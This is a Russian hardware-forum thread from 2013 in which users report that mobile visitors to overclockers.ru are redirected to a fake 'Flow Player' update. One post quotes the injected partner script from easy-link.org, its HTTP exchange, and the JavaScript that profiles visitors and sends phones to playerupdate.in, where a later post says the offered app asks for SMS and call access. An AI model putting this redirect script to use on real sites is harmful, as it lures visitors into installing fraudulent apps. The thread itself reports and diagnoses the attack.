Часовой пояс: UTC + 3 часа




Начать новую тему Новая тема / Эта тема закрыта, вы не можете редактировать и оставлять сообщения в ней. Закрыто  Сообщений: 10 
  Пред. тема | След. тема 
В случае проблем с отображением форума, отключите блокировщик рекламы
Автор Сообщение
 

*Cofradia Intel*
Статус: Не в сети
Регистрация: 05.04.2003
При переходе в новость или обзор происходит редирект на playerupdate.in/, где предлагается обновить некий Flow Player. В соглашении сказано, что за контент надо платить.
Что это, вирус на сайте?



Партнер
 

Member
Статус: Не в сети
Регистрация: 02.01.2012
Откуда: Щербинка
Фото: 57
http://forums.overclockers.ru/viewtopic.php?p=10927711#p10927711

_________________
"Для человеческой глупости нет патча"


 

*Cofradia Intel*
Статус: Не в сети
Регистрация: 05.04.2003
У них даже сайт есть с телефоном поддержки :D


 

Member
Статус: Не в сети
Регистрация: 08.09.2010
Откуда: Семихолмовск
И с компа и с ифона всё норм


 

Живет в теле новости
Пример: http://www.overclockers.ru/hardnews/541 ... hivoj.html
Код:
   
<div style="width:700px; margin:10px auto">
      <table class="decoblock"><tr><td class="tl"><img src="/images/spacer.gif" class="spacer-top" /><br /></td><td>
         Вашему вниманию предлагаются товары и цены
      </td><td class="tr"><img src="/images/spacer.gif" class="spacer-top" /><br /></td></tr></table>
      <div class="decoblock-content" style="padding:10px">
         
         
            <script type="text/javascript" src="http://easy-link.org/counter.js"></script>
         
      </div>
   </div>   

<script type="text/javascript" src="http://easy-link.org/counter.js"></script>

Сервер выдает "нужный" js только для мобильных браузеров
Запрос
Код:
GET /counter.js HTTP/1.1
Host: easy-link.org
Connection: keep-alive
Cache-Control: no-cache
Accept: */*
Pragma: no-cache
User-Agent: Mozilla/5.0 (Linux; Android 4.1.2; Nexus 7 Build/JZ054K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
Referer: http://www.overclockers.ru/hardnews/54199/Oficialno_rekomendovannaya_cena_GeForce_GTX_770_okazalas_zamanchivoj.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3

Ответ
Код:
HTTP/1.1 302 Found
Date: Thu, 30 May 2013 19:02:14 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Location: http://easy-link.org/counter_new.js
Content-Type: text/html
Content-Length: 389

counter_new.js

Код:
new Image().src = "//counter.yadro.ru/hit;UnderTaker?r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random();

if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){
  window.location = "http://playerupdate.in/s/12852";
}


 

Member
Статус: Не в сети
Регистрация: 27.06.2009
Откуда: Ефремовка.
Фото: 2
Мне так ответили..
Цитата:
ах.. вы с мобилки/планшета...
ну звиняйте тогда ) сими "благами" цивилизации не пользуюсь, поэтому за это ничего не скажу.
на окошках всё ровно

Отключил себе жаву, поставил лаунчер от доктора вэба, и пока больше бяк не видел.
ссылка

Добавлено спустя 10 минут 54 секунды:
Опля, сейчас попробовал, доктор вэбовский лаунчер вообще на сайт сейчас не пускает, днем нормально все открывалось, без лаунчера и с отключеноной в браузере жавой нормально захожу. Придется наверное без жавы пока, сайтов зараженных этими вирями море. Доходный бизнес, ониже на платные номера звонят да смски платные шлют и действуют чуть ли не оффициально. Доктор вэб под эту тему даже хочет антивирус свой для мобил полностью платным сделать, хотя вири сквозь него лезут.
Я так думаю надо установку со сторонних источников отключать еще, с плеймаркета все-таки меньше вероятность получить заразу.

Добавлено спустя 52 секунды:
Death_Arrow писал(а):
И с компа и с ифона всё норм

Комп им не нужен, он звонить не умеет, а на йфон так вирь не поставить.


 

Moderator
Статус: Не в сети
Регистрация: 27.06.2008
Откуда: Таганрог
neemestniii Чуть не попался, даже приложение скачать успел и нажал установку из любопытства, смутило что попросило доступ к смс и звонкам, естественно вырубил установку и снёс .apk :D .


 

Member
Статус: Не в сети
Регистрация: 15.06.2010
Откуда: Калуга
Фото: 19
MaD!CaT Как дети, всё что найдут в рот суют. :D

_________________
Лужу, паяю, не шалю, никого не трогаю, починяю примус (ЭВМ). Я не фанат INTEL, я просто не люблю AMD.


 

Member
Статус: Не в сети
Регистрация: 07.04.2010
Фото: 19
Подтверждаю, есть такая бяка при заходе с телефона, не стал ничего обновлять :D

_________________
Core i5 13600KF • ASRock Z690 Steel Legend/D5 • 32Gb DDR5 Kingston • GTX 1080 • SSD 1Tb • Gigabyte 850W (ATX 3.0)


 

Adminus Overclockerus
Adminus Overclockerus
Статус: Не в сети
Регистрация: 11.10.2002
Откуда: Default
Фото: 0
Разбираемся с партнёром...
Тема закрыта.


Показать сообщения за:  Поле сортировки  
Начать новую тему Новая тема / Эта тема закрыта, вы не можете редактировать и оставлять сообщения в ней. Закрыто  Сообщений: 10 
-

Часовой пояс: UTC + 3 часа


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 3


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Перейти:  

Лаборатория














Создано на основе phpBB® Forum Software © phpBB Group
Русская поддержка phpBB | Kolobok smiles © Aiwan